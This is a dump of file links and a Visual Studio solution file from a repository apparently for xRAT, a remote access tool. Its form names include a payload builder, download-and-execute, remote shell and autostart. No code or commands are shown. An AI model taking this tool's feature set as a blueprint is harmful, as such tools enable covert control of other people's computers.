-------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/zm.png -------------------------------------------------------------------------------- /Server/flags/zw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/flags/zw.png -------------------------------------------------------------------------------- /Server/icons/xRAT-16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/icons/xRAT-16x16.png -------------------------------------------------------------------------------- /Server/icons/xRAT-32x32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/icons/xRAT-32x32.png -------------------------------------------------------------------------------- /Server/icons/xRAT-64x64.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/icons/xRAT-64x64.ico -------------------------------------------------------------------------------- /Server/icons/xRAT-64x64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/icons/xRAT-64x64.png -------------------------------------------------------------------------------- /Server/images/application.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/application.png -------------------------------------------------------------------------------- /Server/images/application_add.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/application_add.png -------------------------------------------------------------------------------- /Server/images/archive.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/archive.png -------------------------------------------------------------------------------- /Server/images/back.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/back.png -------------------------------------------------------------------------------- /Server/images/bricks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/bricks.png -------------------------------------------------------------------------------- /Server/images/cancel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/cancel.png -------------------------------------------------------------------------------- /Server/images/computer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/computer.png -------------------------------------------------------------------------------- /Server/images/copy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/copy.png -------------------------------------------------------------------------------- /Server/images/done.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/done.png -------------------------------------------------------------------------------- /Server/images/download.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/download.png -------------------------------------------------------------------------------- /Server/images/drive_go.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/drive_go.png -------------------------------------------------------------------------------- /Server/images/eye.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/eye.png -------------------------------------------------------------------------------- /Server/images/file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/file.png -------------------------------------------------------------------------------- /Server/images/folder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/folder.png -------------------------------------------------------------------------------- /Server/images/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/image.png -------------------------------------------------------------------------------- /Server/images/information.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/information.png -------------------------------------------------------------------------------- /Server/images/key_go.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/key_go.png -------------------------------------------------------------------------------- /Server/images/lightning.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/lightning.png -------------------------------------------------------------------------------- /Server/images/monitor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/monitor.png -------------------------------------------------------------------------------- /Server/images/mouse_add.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/mouse_add.png -------------------------------------------------------------------------------- /Server/images/mouse_delete.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/mouse_delete.png -------------------------------------------------------------------------------- /Server/images/movie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/movie.png -------------------------------------------------------------------------------- /Server/images/music.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/music.png -------------------------------------------------------------------------------- /Server/images/pdf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/pdf.png -------------------------------------------------------------------------------- /Server/images/refresh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/refresh.png -------------------------------------------------------------------------------- /Server/images/run.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/run.png -------------------------------------------------------------------------------- /Server/images/server-add.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/server-add.png -------------------------------------------------------------------------------- /Server/images/server-disconnect.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/server-disconnect.png -------------------------------------------------------------------------------- /Server/images/server-reconnect.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/server-reconnect.png -------------------------------------------------------------------------------- /Server/images/server-uninstall.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/server-uninstall.png -------------------------------------------------------------------------------- /Server/images/server.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/server.png -------------------------------------------------------------------------------- /Server/images/startup_programs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/startup_programs.png -------------------------------------------------------------------------------- /Server/images/task-manager.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/task-manager.png -------------------------------------------------------------------------------- /Server/images/terminal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/terminal.png -------------------------------------------------------------------------------- /Server/images/text.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/text.png -------------------------------------------------------------------------------- /Server/images/uac-shield.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/uac-shield.png -------------------------------------------------------------------------------- /Server/images/upload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/upload.png -------------------------------------------------------------------------------- /Server/images/website.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/website.png -------------------------------------------------------------------------------- /Server/images/word.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/word.png -------------------------------------------------------------------------------- /Server/images/world_go.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/world_go.png -------------------------------------------------------------------------------- /Server/images/world_link.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/images/world_link.png -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmAbout.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmAbout.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmAddToAutostart.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmAddToAutostart.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmBuilder.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmBuilder.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmDownloadAndExecute.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmDownloadAndExecute.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmFileManager.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmFileManager.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmMain.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmMain.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmRemoteDesktop.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmRemoteDesktop.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmRemoteShell.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmRemoteShell.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmSettings.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmSettings.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmShowMessagebox.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmShowMessagebox.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmStartupManager.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmStartupManager.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmStatistics.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmStatistics.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmSystemInformation.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmSystemInformation.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmTaskManager.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmTaskManager.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmTermsOfUse.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmTermsOfUse.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmUpdate.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmUpdate.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmUploadAndExecute.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmUploadAndExecute.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Forms.FrmVisitWebsite.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Forms.FrmVisitWebsite.resources -------------------------------------------------------------------------------- /Server/obj/x86/Debug/xServer.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xuantungmta/xRAT/5002731ae42b530b8b9011957086fb98e013c522/Server/obj/x86/Debug/xServer.Properties.Resources.resources -------------------------------------------------------------------------------- /xRAT 2.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csproj", "{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}" 5 | EndProject 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Client", "Client\Client.csproj", "{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x86 = Debug|x86 11 | Release|x86 = Release|x86 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|x86.ActiveCfg = Debug|x86 15 | {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|x86.Build.0 = Debug|x86 16 | {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|x86.ActiveCfg = Release|x86 17 | {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|x86.Build.0 = Release|x86 18 | {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|x86.ActiveCfg = Debug|x86 19 | {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|x86.Build.0 = Debug|x86 20 | {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|x86.ActiveCfg = Release|x86 21 | {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|x86.Build.0 = Release|x86 22 | EndGlobalSection 23 | GlobalSection(SolutionProperties) = preSolution 24 | HideSolutionNode = FALSE 25 | EndGlobalSection 26 | EndGlobal 27 | --------------------------------------------------------------------------------